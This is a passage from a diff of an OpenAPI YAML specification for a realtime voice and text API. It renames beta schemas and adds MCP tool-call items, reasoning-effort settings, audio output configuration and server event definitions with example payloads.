- stop generating audio and emit a `output_audio_buffer.cleared` event. This
- event should be preceded by a `response.cancel` client event to stop the
- generation of the current response.
- [Learn more](https://developers.openai.com/api/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
+ A Realtime item listing tools available on an MCP server.
properties:
- event_id:
- type: string
- description: The unique ID of the client event used for error handling.
type:
- x-stainless-const: true
- description: The event type, must be `output_audio_buffer.clear`.
- const: output_audio_buffer.clear
- required:
- - type
- x-oaiMeta:
- name: output_audio_buffer.clear
- group: realtime
- example: |
- {
- "event_id": "optional_client_event_id",
- "type": "output_audio_buffer.clear"
- }
- RealtimeBetaClientEventResponseCancel:
- type: object
- description: "Send this event to cancel an in-progress response. The server will respond \nwith a `response.done` event with a status of `response.status=cancelled`. If \nthere is no response to cancel, the server will respond with an error.\n"
- properties:
- event_id:
type: string
- description: Optional client-generated ID used to identify this event.
- type:
+ enum:
+ - mcp_list_tools
+ description: The type of the item. Always `mcp_list_tools`.
x-stainless-const: true
- description: The event type, must be `response.cancel`.
- const: response.cancel
- response_id:
+ id:
type: string
- description: "A specific response ID to cancel - if not provided, will cancel an \nin-progress response in the default conversation.\n"
- required:
- - type
- x-oaiMeta:
- name: response.cancel
- group: realtime
- example: |
- {
- "event_id": "event_567",
- "type": "response.cancel"
- }
- RealtimeBetaClientEventResponseCreate:
- type: object
- description: "This event instructs the server to create a Response, which means triggering \nmodel inference. When in Server VAD mode, the server will create Responses \nautomatically.\n\nA Response will include at least one Item, and may have two, in which case \nthe second will be a function call. These Items will be appended to the \nconversation history.\n\nThe server will respond with a `response.created` event, events for Items \nand content created, and finally a `response.done` event to indicate the \nResponse is complete.\n\nThe `response.create` event can optionally include inference configuration like \n`instructions`, and `temperature`. These fields will override the Session's \nconfiguration for this Response only.\n\nResponses can be created out-of-band of the default Conversation, meaning that they can\nhave arbitrary input, and it's possible to disable writing the output to the Conversation.\nOnly one Response can write to the default Conversation at a time, but otherwise multiple\nResponses can be created in parallel.\n\nClients can set `conversation` to `none` to create a Response that does not write to the default\nConversation. Arbitrary input can be provided with the `input` field, which is an array accepting\nraw Items and references to existing Items.\n"
- properties:
- event_id:
+ description: The unique ID of the list.
+ server_label:
type: string
- description: Optional client-generated ID used to identify this event.
- type:
- x-stainless-const: true
- description: The event type, must be `response.create`.
- const: response.create
- response:
- $ref: '#/components/schemas/RealtimeBetaResponseCreateParams'
+ description: The label of the MCP server.
+ tools:
+ type: array
+ items:
+ $ref: '#/components/schemas/MCPListToolsTool'
+ description: The tools available on the server.
required:
- type
- x-oaiMeta:
- name: response.create
- group: realtime
- example: |
- // Trigger a response with the default Conversation and no special parameters
- {
- "type": "response.create",
- }
-
- // Trigger an out-of-band response that does not write to the default Conversation
- {
- "type": "response.create",
- "response": {
- "instructions": "Provide a concise answer.",
- "tools": [], // clear any session tools
- "conversation": "none",
- "output_modalities": ["text"],
- "input": [
- {
- "type": "item_reference",
- "id": "item_12345",
- },
- {
- "type": "message",
- "role": "user",
- "content": [
- {
- "type": "input_text",
- "text": "Summarize the above message in one sentence."
- }
- ]
- }
- ],
- }
- }
- RealtimeBetaClientEventSessionUpdate:
+ - server_label
+ - tools
+ RealtimeMCPProtocolError:
type: object
- description: |
- Send this event to update the session’s default configuration.
- The client may send this event at any time to update any field,
- except for `voice`. However, note that once a session has been
- initialized with a particular `model`, it can’t be changed to
- another model using `session.update`.
-
- When the server receives a `session.update`, it will respond
- with a `session.updated` event showing the full, effective configuration.
- Only the fields that are present are updated. To clear a field like
- `instructions`, pass an empty string.
+ title: Realtime MCP protocol error
properties:
- event_id:
- type: string
- description: Optional client-generated ID used to identify this event.
type:
+ type: string
+ enum:
+ - protocol_error
x-stainless-const: true
- description: The event type, must be `session.update`.
- const: session.update
- session:
- $ref: '#/components/schemas/RealtimeSessionCreateRequest'
+ code:
+ type: integer
+ message:
+ type: string
required:
- type
- - session
- x-oaiMeta:
- name: session.update
- group: realtime
- example: |
- {
- "type": "session.update",
- "session": {
- "tools": [
- {
- "type": "function",
- "name": "display_color_palette",
- "description": "Call this function when a user asks for a color palette.",
- "parameters": {
- "type": "object",
- "properties": {
- "theme": {
- "type": "string",
- "description": "Description of the theme for the color scheme."
- },
- "colors": {
- "type": "array",
- "description": "Array of five hex color codes based on the theme.",
- "items": {
- "type": "string",
- "description": "Hex color code"
- }
- }
- },
- "required": [
- "theme",
- "colors"
- ]
- }
- }
- ],
- "tool_choice": "auto"
- }
- }
- RealtimeBetaClientEventTranscriptionSessionUpdate:
+ - code
+ - message
+ RealtimeMCPToolCall:
type: object
+ title: Realtime MCP tool call
description: |
- Send this event to update a transcription session.
+ A Realtime item representing an invocation of a tool on an MCP server.
properties:
- event_id:
+ type:
type: string
- description: Optional client-generated ID used to identify this event.
+ enum:
+ - mcp_call
+ description: The type of the item. Always `mcp_call`.
+ x-stainless-const: true
+ id:
+ type: string
+ description: The unique ID of the tool call.
+ server_label:
+ type: string
+ description: The label of the MCP server running the tool.
+ name:
+ type: string
+ description: The name of the tool that was run.
+ arguments:
+ type: string
+ description: A JSON string of the arguments passed to the tool.
+ approval_request_id:
+ anyOf:
+ - type: string
+ description: The ID of an associated approval request, if any.
+ - type: 'null'
+ output:
+ anyOf:
+ - type: string
+ description: The output from the tool call.
+ - type: 'null'
+ error:
+ anyOf:
+ - description: The error from the tool call, if any.
+ anyOf:
+ - $ref: '#/components/schemas/RealtimeMCPProtocolError'
+ - $ref: '#/components/schemas/RealtimeMCPToolExecutionError'
+ - $ref: '#/components/schemas/RealtimeMCPHTTPError'
+ discriminator:
+ propertyName: type
+ - type: 'null'
+ required:
+ - type
+ - id
+ - server_label
+ - name
+ - arguments
+ RealtimeMCPToolExecutionError:
+ type: object
+ title: Realtime MCP tool execution error
+ properties:
type:
+ type: string
+ enum:
+ - tool_execution_error
x-stainless-const: true
- description: The event type, must be `transcription_session.update`.
- const: transcription_session.update
- session:
- $ref: '#/components/schemas/RealtimeTranscriptionSessionCreateRequest'
+ message:
+ type: string
required:
- type
- - session
- x-oaiMeta:
- name: transcription_session.update
- group: realtime
- example: |
- {
- "type": "transcription_session.update",
- "session": {
- "input_audio_format": "pcm16",
- "input_audio_transcription": {
- "model": "gpt-4o-transcribe",
- "prompt": "",
- "language": ""
- },
- "turn_detection": {
- "type": "server_vad",
- "threshold": 0.5,
- "prefix_padding_ms": 300,
- "silence_duration_ms": 500,
- "create_response": true,
- },
- "input_audio_noise_reduction": {
- "type": "near_field"
- },
- "include": [
- "item.input_audio_transcription.logprobs",
- ]
- }
- }
- RealtimeBetaResponse:
+ - message
+ RealtimeReasoning:
+ type: object
+ title: Realtime reasoning configuration
+ description: |
+ Configuration for reasoning-capable Realtime models such as `gpt-realtime-2`.
+ properties:
+ effort:
+ $ref: '#/components/schemas/RealtimeReasoningEffort'
+ RealtimeReasoningEffort:
+ type: string
+ description: |
+ Constrains effort on reasoning for reasoning-capable Realtime models such as
+ `gpt-realtime-2`.
+ enum:
+ - minimal
+ - low
+ - medium
+ - high
+ - xhigh
+ default: low
+ RealtimeResponse:
type: object
description: The response resource.
properties:
id:
type: string
- description: The unique ID of the response.
+ description: The unique ID of the response, will look like `resp_1234`.
object:
x-stainless-const: true
description: The object type, must be `realtime.response`.
@@ -44650,7 +51208,8 @@ components:
- client_cancelled
- max_output_tokens
- content_filter
- description: "The reason the Response did not complete. For a `cancelled` Response, \none of `turn_detected` (the server VAD detected a new start of speech) \nor `client_cancelled` (the client sent a cancel event). For an \n`incomplete` Response, one of `max_output_tokens` or `content_filter` \n(the server-side safety filter activated and cut off the response).\n"
+ description: |
+ The reason the Response did not complete. For a `cancelled` Response, one of `turn_detected` (the server VAD detected a new start of speech) or `client_cancelled` (the client sent a cancel event). For an `incomplete` Response, one of `max_output_tokens` or `content_filter` (the server-side safety filter activated and cut off the response).
error:
type: object
description: "A description of the error that caused the response to fail, \npopulated when the `status` is `failed`.\n"
@@ -44668,6 +51227,25 @@ components:
$ref: '#/components/schemas/RealtimeConversationItem'
metadata:
$ref: '#/components/schemas/Metadata'
+ audio:
+ type: object
+ description: Configuration for audio output.
+ properties:
+ output:
+ type: object
+ properties:
+ format:
+ $ref: '#/components/schemas/RealtimeAudioFormats'
+ description: The format of the output audio.
+ voice:
+ $ref: '#/components/schemas/VoiceIdsShared'
+ default: alloy
+ description: |
+ The voice the model uses to respond. Voice cannot be changed during the
+ session once the model has responded with audio at least once. Current
+ voice options are `alloy`, `ash`, `ballad`, `coral`, `echo`, `sage`,
+ `shimmer`, `verse`, `marin`, and `cedar`. We recommend `marin` and `cedar` for
+ best quality.
usage:
type: object
description: "Usage statistics for the Response, this will correspond to billing. A \nRealtime API session will maintain a conversation context and append new \nItems to the Conversation, thus output from previous turns (text and \naudio tokens) will become the input for later turns.\n"
@@ -44683,7 +51261,7 @@ components:
description: "The number of output tokens sent in the Response, including text and \naudio tokens.\n"
input_token_details:
type: object
- description: Details about the input tokens used in the Response.
+ description: Details about the input tokens used in the Response. Cached tokens are tokens from previous turns in the conversation that are included as context for the current response. Cached tokens here are counted as a subset of input tokens, meaning input tokens will include cached and uncached tokens.
properties:
cached_tokens:
type: integer
@@ -44727,38 +51305,19 @@ components:
the default conversation and the value of `conversation_id` will be an id like
`conv_1234`. If `none`, the response will not be added to any conversation and
the value of `conversation_id` will be `null`. If responses are being triggered
- by server VAD, the response will be added to the default conversation, thus
- the `conversation_id` will be an id like `conv_1234`.
+ automatically by VAD the response will be added to the default conversation
type: string
- voice:
- $ref: '#/components/schemas/VoiceIdsShared'
- description: |
- The voice the model used to respond.
- Current voice options are `alloy`, `ash`, `ballad`, `coral`, `echo`, `sage`,
- `shimmer`, and `verse`.
- modalities:
+ output_modalities:
type: array
description: |
- The set of modalities the model used to respond. If there are multiple modalities,
- the model will pick one, for example if `modalities` is `["text", "audio"]`, the model
- could be responding in either text or audio.
+ The set of modalities the model used to respond, currently the only possible values are
+ `[\"audio\"]`, `[\"text\"]`. Audio output always include a text transcript. Setting the
+ output to mode `text` will disable audio output from the model.
items:
type: string
enum:
- text
- audio
- output_audio_format:
- type: string
- enum:
- - pcm16
- - g711_ulaw
- - g711_alaw
- description: |
- The format of output audio. Options are `pcm16`, `g711_ulaw`, or `g711_alaw`.
- temperature:
- type: number
- description: |
- Sampling temperature for the model, limited to [0.6, 1.2]. Defaults to 0.8.
max_output_tokens:
description: |
Maximum number of output tokens for a single assistant response,
@@ -44769,15 +51328,16 @@ components:
enum:
- inf
x-stainless-const: true
- RealtimeBetaResponseCreateParams:
+ RealtimeResponseCreateParams:
type: object
description: Create a new Realtime response with these parameters
properties:
- modalities:
+ output_modalities:
type: array
description: |
- The set of modalities the model can respond with. To disable audio,
- set this to ["text"].
+ The set of modalities the model used to respond, currently the only possible values are
+ `[\"audio\"]`, `[\"text\"]`. Audio output always include a text transcript. Setting the
+ output to mode `text` will disable audio output from the model.
items:
type: string
enum:
@@ -44785,44 +51345,36 @@ components:
- audio
instructions:
type: string
- description: "The default system instructions (i.e. system message) prepended to model \ncalls. This field allows the client to guide the model on desired \nresponses. The model can be instructed on response content and format, \n(e.g. \"be extremely succinct\", \"act friendly\", \"here are examples of good \nresponses\") and on audio behavior (e.g. \"talk quickly\", \"inject emotion \ninto your voice\", \"laugh frequently\"). The instructions are not guaranteed \nto be followed by the model, but they provide guidance to the model on the \ndesired behavior.\n\nNote that the server sets default instructions which will be used if this \nfield is not set and are visible in the `session.created` event at the \nstart of the session.\n"
- voice:
- $ref: '#/components/schemas/VoiceIdsOrCustomVoice'
- description: |
- The voice the model uses to respond. Supported built-in voices are
- `alloy`, `ash`, `ballad`, `coral`, `echo`, `sage`, `shimmer`, `verse`,
- `marin`, and `cedar`. You may also provide a custom voice object with an
- `id`, for example `{ "id": "voice_1234" }`. Voice cannot be changed during
- the session once the model has responded with audio at least once.
- output_audio_format:
- type: string
- enum:
- - pcm16
- - g711_ulaw
- - g711_alaw
description: |
- The format of output audio. Options are `pcm16`, `g711_ulaw`, or `g711_alaw`.
+ The default system instructions (i.e. system message) prepended to model calls. This field allows the client to guide the model on desired responses. The model can be instructed on response content and format, (e.g. "be extremely succinct", "act friendly", "here are examples of good responses") and on audio behavior (e.g. "talk quickly", "inject emotion into your voice", "laugh frequently"). The instructions are not guaranteed to be followed by the model, but they provide guidance to the model on the desired behavior.
+ Note that the server sets default instructions which will be used if this field is not set and are visible in the `session.created` event at the start of the session.
+ audio:
+ type: object
+ description: Configuration for audio input and output.
+ properties:
+ output:
+ type: object
+ properties:
+ format:
+ $ref: '#/components/schemas/RealtimeAudioFormats'
+ description: The format of the output audio.
+ voice:
+ $ref: '#/components/schemas/VoiceIdsOrCustomVoice'
+ default: alloy
+ description: |
+ The voice the model uses to respond. Supported built-in voices are
+ `alloy`, `ash`, `ballad`, `coral`, `echo`, `sage`, `shimmer`, `verse`,
+ `marin`, and `cedar`. You may also provide a custom voice object with
+ an `id`, for example `{ "id": "voice_1234" }`. Voice cannot be changed
+ during the session once the model has responded with audio at least once.
+ We recommend `marin` and `cedar` for best quality.
tools:
type: array
- description: Tools (functions) available to the model.
+ description: Tools available to the model.
items:
- type: object
- properties:
- type:
- type: string
- enum:
- - function
- description: The type of the tool, i.e. `function`.
- x-stainless-const: true
- name:
- type: string
- description: The name of the function.
- description:
- type: string
- description: "The description of the function, including guidance on when and how \nto call it, and guidance about what to tell the user when calling \n(if anything).\n"
- parameters:
- type: object
- description: Parameters of the function in JSON Schema.
+ anyOf:
+ - $ref: '#/components/schemas/RealtimeFunctionTool'
+ - $ref: '#/components/schemas/MCPTool'
tool_choice:
description: |
How the model chooses tools. Provide one of the string modes or force a specific
@@ -44832,10 +51384,13 @@ components:
- $ref: '#/components/schemas/ToolChoiceOptions'
- $ref: '#/components/schemas/ToolChoiceFunction'
- $ref: '#/components/schemas/ToolChoiceMCP'
- temperature:
- type: number
+ parallel_tool_calls:
+ type: boolean
description: |
- Sampling temperature for the model, limited to [0.6, 1.2]. Defaults to 0.8.
+ Whether the model may call multiple tools in parallel. Only supported by
+ reasoning Realtime models such as `gpt-realtime-2`.
+ reasoning:
+ $ref: '#/components/schemas/RealtimeReasoning'
max_output_tokens:
description: |
Maximum number of output tokens for a single assistant response,
@@ -44849,7 +51404,12 @@ components:
- inf
x-stainless-const: true
conversation:
- description: "Controls which conversation the response is added to. Currently supports\n`auto` and `none`, with `auto` as the default value. The `auto` value\nmeans that the contents of the response will be added to the default\nconversation. Set this to `none` to create an out-of-band response which \nwill not add items to default conversation.\n"
+ description: |
+ Controls which conversation the response is added to. Currently supports
+ `auto` and `none`, with `auto` as the default value. The `auto` value
+ means that the contents of the response will be added to the default
+ conversation. Set this to `none` to create an out-of-band response which
+ will not add items to default conversation.
anyOf:
- type: string
- type: string
@@ -44867,10 +51427,152 @@ components:
Input items to include in the prompt for the model. Using this field
creates a new context for this Response instead of using the default
conversation. An empty array `[]` will clear the context for this Response.
- Note that this can include references to items from the default conversation.
+ Note that this can include references to items that previously appeared in the session
+ using their id.
items:
$ref: '#/components/schemas/RealtimeConversationItem'
- RealtimeBetaServerEventConversationItemCreated:
+ RealtimeServerEvent:
+ discriminator:
+ propertyName: type
+ description: |
+ A realtime server event.
+ anyOf:
+ - $ref: '#/components/schemas/RealtimeServerEventConversationCreated'
+ - $ref: '#/components/schemas/RealtimeServerEventConversationItemCreated'
+ - $ref: '#/components/schemas/RealtimeServerEventConversationItemDeleted'
+ - $ref: '#/components/schemas/RealtimeServerEventConversationItemInputAudioTranscriptionCompleted'
+ - $ref: '#/components/schemas/RealtimeServerEventConversationItemInputAudioTranscriptionDelta'
+ - $ref: '#/components/schemas/RealtimeServerEventConversationItemInputAudioTranscriptionFailed'
+ - $ref: '#/components/schemas/RealtimeServerEventConversationItemRetrieved'
+ - $ref: '#/components/schemas/RealtimeServerEventConversationItemTruncated'
+ - $ref: '#/components/schemas/RealtimeServerEventError'
+ - $ref: '#/components/schemas/RealtimeServerEventInputAudioBufferCleared'
+ - $ref: '#/components/schemas/RealtimeServerEventInputAudioBufferCommitted'
+ - $ref: '#/components/schemas/RealtimeServerEventInputAudioBufferDtmfEventReceived'
+ - $ref: '#/components/schemas/RealtimeServerEventInputAudioBufferSpeechStarted'
+ - $ref: '#/components/schemas/RealtimeServerEventInputAudioBufferSpeechStopped'
+ - $ref: '#/components/schemas/RealtimeServerEventRateLimitsUpdated'
+ - $ref: '#/components/schemas/RealtimeServerEventResponseAudioDelta'
+ - $ref: '#/components/schemas/RealtimeServerEventResponseAudioDone'
+ - $ref: '#/components/schemas/RealtimeServerEventResponseAudioTranscriptDelta'
+ - $ref: '#/components/schemas/RealtimeServerEventResponseAudioTranscriptDone'
+ - $ref: '#/components/schemas/RealtimeServerEventResponseContentPartAdded'
+ - $ref: '#/components/schemas/RealtimeServerEventResponseContentPartDone'
+ - $ref: '#/components/schemas/RealtimeServerEventResponseCreated'
+ - $ref: '#/components/schemas/RealtimeServerEventResponseDone'
+ - $ref: '#/components/schemas/RealtimeServerEventResponseFunctionCallArgumentsDelta'
+ - $ref: '#/components/schemas/RealtimeServerEventResponseFunctionCallArgumentsDone'
+ - $ref: '#/components/schemas/RealtimeServerEventResponseOutputItemAdded'
+ - $ref: '#/components/schemas/RealtimeServerEventResponseOutputItemDone'
+ - $ref: '#/components/schemas/RealtimeServerEventResponseTextDelta'
+ - $ref: '#/components/schemas/RealtimeServerEventResponseTextDone'
+ - $ref: '#/components/schemas/RealtimeServerEventSessionCreated'
+ - $ref: '#/components/schemas/RealtimeServerEventSessionUpdated'
+ - $ref: '#/components/schemas/RealtimeServerEventOutputAudioBufferStarted'
+ - $ref: '#/components/schemas/RealtimeServerEventOutputAudioBufferStopped'
+ - $ref: '#/components/schemas/RealtimeServerEventOutputAudioBufferCleared'
+ - $ref: '#/components/schemas/RealtimeServerEventConversationItemAdded'
+ - $ref: '#/components/schemas/RealtimeServerEventConversationItemDone'
+ - $ref: '#/components/schemas/RealtimeServerEventInputAudioBufferTimeoutTriggered'
+ - $ref: '#/components/schemas/RealtimeServerEventConversationItemInputAudioTranscriptionSegment'
+ - $ref: '#/components/schemas/RealtimeServerEventMCPListToolsInProgress'
+ - $ref: '#/components/schemas/RealtimeServerEventMCPListToolsCompleted'
+ - $ref: '#/components/schemas/RealtimeServerEventMCPListToolsFailed'
+ - $ref: '#/components/schemas/RealtimeServerEventResponseMCPCallArgumentsDelta'
+ - $ref: '#/components/schemas/RealtimeServerEventResponseMCPCallArgumentsDone'
+ - $ref: '#/components/schemas/RealtimeServerEventResponseMCPCallInProgress'
+ - $ref: '#/components/schemas/RealtimeServerEventResponseMCPCallCompleted'
+ - $ref: '#/components/schemas/RealtimeServerEventResponseMCPCallFailed'
+ RealtimeServerEventConversationCreated:
+ type: object
+ description: |
+ Returned when a conversation is created. Emitted right after session creation.
+ properties:
+ event_id:
+ type: string
+ description: The unique ID of the server event.
+ type:
+ x-stainless-const: true
+ description: The event type, must be `conversation.created`.
+ const: conversation.created
+ conversation:
+ type: object
+ description: The conversation resource.
+ properties:
+ id:
+ type: string
+ description: The unique ID of the conversation.
+ object:
+ description: The object type, must be `realtime.conversation`.
+ const: realtime.conversation
+ required:
+ - event_id
+ - type
+ - conversation
+ x-oaiMeta:
+ name: conversation.created
+ group: realtime
+ example: |
+ {
+ "event_id": "event_9101",
+ "type": "conversation.created",
+ "conversation": {
+ "id": "conv_001",
+ "object": "realtime.conversation"
+ }
+ }
+ RealtimeServerEventConversationItemAdded:
+ type: object
+ description: |
+ Sent by the server when an Item is added to the default Conversation. This can happen in several cases:
+ - When the client sends a `conversation.item.create` event.
+ - When the input audio buffer is committed. In this case the item will be a user message containing the audio from the buffer.
+ - When the model is generating a Response. In this case the `conversation.item.added` event will be sent when the model starts generating a specific Item, and thus it will not yet have any content (and `status` will be `in_progress`).
+
+ The event will include the full content of the Item (except when model is generating a Response) except for audio data, which can be retrieved separately with a `conversation.item.retrieve` event if necessary.
+ properties:
+ event_id:
+ type: string
+ description: The unique ID of the server event.
+ type:
+ x-stainless-const: true
+ description: The event type, must be `conversation.item.added`.
+ const: conversation.item.added
+ previous_item_id:
+ anyOf:
+ - type: string
+ description: |
+ The ID of the item that precedes this one, if any. This is used to
+ maintain ordering when items are inserted.
+ - type: 'null'
+ item:
+ $ref: '#/components/schemas/RealtimeConversationItem'
+ required:
+ - event_id
+ - type
+ - item
+ x-oaiMeta:
+ name: conversation.item.added
+ group: realtime
+ example: |
+ {
+ "type": "conversation.item.added",
+ "event_id": "event_C9G8pjSJCfRNEhMEnYAVy",
+ "previous_item_id": null,
+ "item": {
+ "id": "item_C9G8pGVKYnaZu8PH5YQ9O",
+ "type": "message",
+ "status": "completed",
+ "role": "user",
+ "content": [
+ {
+ "type": "input_text",
+ "text": "hi"
+ }
+ ]
+ }
+ }
+ RealtimeServerEventConversationItemCreated:
type: object
description: |
Returned when a conversation item is created. There are several scenarios that produce this event:
@@ -44921,7 +51623,7 @@ components:
"content": []
}
}
- RealtimeBetaServerEventConversationItemDeleted:
+ RealtimeServerEventConversationItemDeleted:
type: object
description: "Returned when an item in the conversation is deleted by the client with a \n`conversation.item.delete` event. This event is used to synchronize the \nserver's understanding of the conversation history with the client's view.\n"
properties:
@@ -44948,12 +51650,60 @@ components:
"type": "conversation.item.deleted",
"item_id": "msg_005"
}
- RealtimeBetaServerEventConversationItemInputAudioTranscriptionCompleted:
+ RealtimeServerEventConversationItemDone:
+ type: object
+ description: |
+ Returned when a conversation item is finalized.
+
+ The event will include the full content of the Item except for audio data, which can be retrieved separately with a `conversation.item.retrieve` event if needed.
+ properties:
+ event_id:
+ type: string
+ description: The unique ID of the server event.
+ type:
+ x-stainless-const: true
+ description: The event type, must be `conversation.item.done`.
+ const: conversation.item.done
+ previous_item_id:
+ anyOf:
+ - type: string
+ description: |
+ The ID of the item that precedes this one, if any. This is used to
+ maintain ordering when items are inserted.
+ - type: 'null'
+ item:
+ $ref: '#/components/schemas/RealtimeConversationItem'
+ required:
+ - event_id
+ - type
+ - item
+ x-oaiMeta:
+ name: conversation.item.done
+ group: realtime
+ example: |
+ {
+ "type": "conversation.item.done",
+ "event_id": "event_CCXLgMZPo3qioWCeQa4WH",
+ "previous_item_id": "item_CCXLecNJVIVR2HUy3ABLj",
+ "item": {
+ "id": "item_CCXLfxmM5sXVJVz4mCa2S",
+ "type": "message",
+ "status": "completed",
+ "role": "assistant",
+ "content": [
+ {
+ "type": "output_audio",
+ "transcript": "Oh, I can hear you loud and clear! Sounds like we're connected just fine. What can I help you with today?"
+ }
+ ]
+ }
+ }
+ RealtimeServerEventConversationItemInputAudioTranscriptionCompleted:
type: object
description: |
This event is the output of audio transcription for user audio written to the
user audio buffer. Transcription begins when the input audio buffer is
- committed by the client or server (in `server_vad` mode). Transcription runs
+ committed by the client or server (when VAD is enabled). Transcription runs
asynchronously with Response creation, so this event may come before or after
the Response events.
@@ -44975,7 +51725,7 @@ components:
x-stainless-const: true
item_id:
type: string
- description: The ID of the user message item containing the audio.
+ description: The ID of the item containing the audio that is being transcribed.
content_index:
type: integer
description: The index of the content part containing the audio.
@@ -44997,12 +51747,12 @@ components:
- type: 'null'
usage:
type: object
- description: Usage statistics for the transcription.
+ description: Usage statistics for the transcription, this is billed according to the ASR model's pricing rather than the realtime model's pricing.
anyOf:
- $ref: '#/components/schemas/TranscriptTextUsageTokens'
- title: Token Usage
+ title: TranscriptTextUsageTokens
- $ref: '#/components/schemas/TranscriptTextUsageDuration'
- title: Duration Usage
+ title: TranscriptTextUsageDuration
required:
- event_id
- type
@@ -45015,26 +51765,26 @@ components:
group: realtime
example: |
{
- "event_id": "event_2122",
- "type": "conversation.item.input_audio_transcription.completed",
- "item_id": "msg_003",
- "content_index": 0,
- "transcript": "Hello, how are you?",
- "usage": {
- "type": "tokens",
- "total_tokens": 48,
- "input_tokens": 38,
- "input_token_details": {
- "text_tokens": 10,
- "audio_tokens": 28,
- },
- "output_tokens": 10,
- }
+ "type": "conversation.item.input_audio_transcription.completed",
+ "event_id": "event_CCXGRvtUVrax5SJAnNOWZ",
+ "item_id": "item_CCXGQ4e1ht4cOraEYcuR2",
+ "content_index": 0,
+ "transcript": "Hey, can you hear me?",
+ "usage": {
+ "type": "tokens",
+ "total_tokens": 22,
+ "input_tokens": 13,
+ "input_token_details": {
+ "text_tokens": 0,
+ "audio_tokens": 13
+ },
+ "output_tokens": 9
+ }
}
- RealtimeBetaServerEventConversationItemInputAudioTranscriptionDelta:
+ RealtimeServerEventConversationItemInputAudioTranscriptionDelta:
type: object
description: |
- Returned when the text value of an input audio transcription content part is updated.
+ Returned when the text value of an input audio transcription content part is updated with incremental transcription results.
properties:
event_id:
type: string
@@ -45045,7 +51795,7 @@ components:
const: conversation.item.input_audio_transcription.delta
item_id:
type: string
- description: The ID of the item.
+ description: The ID of the item containing the audio that is being transcribed.
content_index:
type: integer
description: The index of the content part in the item's content array.
@@ -45055,7 +51805,7 @@ components:
logprobs:
anyOf:
- type: array
- description: The log probabilities of the transcription.
+ description: 'The log probabilities of the transcription. These can be enabled by configurating the session with `"include": ["item.input_audio_transcription.logprobs"]`. Each entry in the array corresponds a log probability of which token would be selected for this chunk of transcription. This can help to identify if it was possible there were multiple valid options for a given chunk of transcription.'
items:
$ref: '#/components/schemas/LogProbProperties'
- type: 'null'
@@ -45069,12 +51819,13 @@ components:
example: |
{
"type": "conversation.item.input_audio_transcription.delta",
- "event_id": "event_001",
- "item_id": "item_001",
+ "event_id": "event_CCXGRxsAimPAs8kS2Wc7Z",
+ "item_id": "item_CCXGQ4e1ht4cOraEYcuR2",
"content_index": 0,
- "delta": "Hello"
+ "delta": "Hey",
+ "obfuscation": "aLxx0jTEciOGe"
}
- RealtimeBetaServerEventConversationItemInputAudioTranscriptionFailed:
+ RealtimeServerEventConversationItemInputAudioTranscriptionFailed:
type: object
description: "Returned when input audio transcription is configured, and a transcription \nrequest for a user message failed. These events are separate from other \n`error` events so that the client can identify the related Item.\n"
properties:
@@ -45133,7 +51884,7 @@ components:
"param": null
}
}
- RealtimeBetaServerEventConversationItemInputAudioTranscriptionSegment:
+ RealtimeServerEventConversationItemInputAudioTranscriptionSegment:
type: object
description: Returned when an input audio transcription segment is identified for an item.
properties:
@@ -45192,10 +51943,10 @@ components:
"start": 0.0,
"end": 0.4
}
- RealtimeBetaServerEventConversationItemRetrieved:
+ RealtimeServerEventConversationItemRetrieved:
type: object
description: |
- Returned when a conversation item is retrieved with `conversation.item.retrieve`.
+ Returned when a conversation item is retrieved with `conversation.item.retrieve`. This is provided as a way to fetch the server's representation of an item, for example to get access to the post-processed audio data after noise cancellation and VAD. It includes the full content of the Item, including audio data.
properties:
event_id:
type: string
@@ -45215,25 +51966,25 @@ components:
group: realtime
example: |
{
- "event_id": "event_1920",
- "type": "conversation.item.created",
- "previous_item_id": "msg_002",
- "item": {
- "id": "msg_003",
- "object": "realtime.item",
- "type": "message",
- "status": "completed",
- "role": "user",
- "content": [
- {
- "type": "input_audio",
- "transcript": "hello how are you",
- "audio": "base64encodedaudio=="
- }
- ]
- }
+ "type": "conversation.item.retrieved",
+ "event_id": "event_CCXGSizgEppa2d4XbKA7K",
+ "item": {
+ "id": "item_CCXGRxbY0n6WE4EszhF5w",
+ "object": "realtime.item",
+ "type": "message",
+ "status": "completed",
+ "role": "assistant",
+ "content": [
+ {
+ "type": "audio",
+ "transcript": "Yes, I can hear you loud and clear. How can I help you today?",
+ "audio": "8//2//v/9//q/+//+P/s...",
+ "format": "pcm16"
+ }
+ ]
+ }
}
- RealtimeBetaServerEventConversationItemTruncated:
+ RealtimeServerEventConversationItemTruncated:
type: object
description: "Returned when an earlier assistant audio message item is truncated by the \nclient with a `conversation.item.truncate` event. This event is used to \nsynchronize the server's understanding of the audio with the client's playback.\n\nThis action will truncate the audio and remove the server-side text transcript \nto ensure there is no text in the context that hasn't been heard by the user.\n"
properties:
@@ -45271,7 +52022,7 @@ components:
"content_index": 0,
"audio_end_ms": 1500
}
- RealtimeBetaServerEventError:
+ RealtimeServerEventError:
type: object
description: |
Returned when an error occurs, which could be a client problem or a server
@@ -45334,7 +52085,7 @@ components:
"event_id": "event_567"
}
}
- RealtimeBetaServerEventInputAudioBufferCleared:
+ RealtimeServerEventInputAudioBufferCleared:
type: object
description: "Returned when the input audio buffer is cleared by the client with a \n`input_audio_buffer.clear` event.\n"
properties:
@@ -45356,7 +52107,7 @@ components:
"event_id": "event_1314",
"type": "input_audio_buffer.cleared"
}
- RealtimeBetaServerEventInputAudioBufferCommitted:
+ RealtimeServerEventInputAudioBufferCommitted:
type: object
description: |
Returned when an input audio buffer is committed, either by the client or
@@ -45395,7 +52146,39 @@ components:
"previous_item_id": "msg_001",
"item_id": "msg_002"
}
- RealtimeBetaServerEventInputAudioBufferSpeechStarted:
+ RealtimeServerEventInputAudioBufferDtmfEventReceived:
+ type: object
+ description: |
+ **SIP Only:** Returned when an DTMF event is received. A DTMF event is a message that
+ represents a telephone keypad press (0–9, *, #, A–D). The `event` property
+ is the keypad that the user press. The `received_at` is the UTC Unix Timestamp
+ that the server received the event.
+ properties:
+ type:
+ x-stainless-const: true
+ description: The event type, must be `input_audio_buffer.dtmf_event_received`.
+ const: input_audio_buffer.dtmf_event_received
+ event:
+ type: string
+ description: The telephone keypad that was pressed by the user.
+ received_at:
+ type: integer
+ description: |
+ UTC Unix Timestamp when DTMF Event was received by server.
+ required:
+ - type
+ - event
+ - received_at
+ x-oaiMeta:
+ name: input_audio_buffer.dtmf_event_received
+ group: realtime
+ example: |
+ {
+ "type":" input_audio_buffer.dtmf_event_received",
+ "event": "9",
+ "received_at": 1763605109,
+ }
+ RealtimeServerEventInputAudioBufferSpeechStarted:
type: object
